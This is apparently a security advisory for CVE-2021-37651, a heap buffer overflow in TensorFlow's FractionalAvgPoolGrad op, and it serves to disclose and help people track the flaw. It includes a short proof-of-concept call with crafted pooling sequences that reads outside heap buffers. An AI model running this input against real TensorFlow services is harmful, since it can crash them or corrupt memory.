CVE-2021-37651: Heap buffer overflow in `FractionalAvgPoolGrad`

(updated )

The implementation for tf.raw_ops.FractionalAvgPoolGrad can be tricked into accessing data outside of bounds of heap allocated buffers:

import tensorflow as tf

tf.raw_ops.FractionalAvgPoolGrad(
orig_input_tensor_shape=[0,1,2,3],
out_backprop = np.array([[[[541],[541]],[[541],[541]]]]),
row_pooling_sequence=[0, 0, 0, 0, 0],
col_pooling_sequence=[-2, 0, 0, 2, 0],
overlapping=True)

References

Detect and mitigate CVE-2021-37651 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →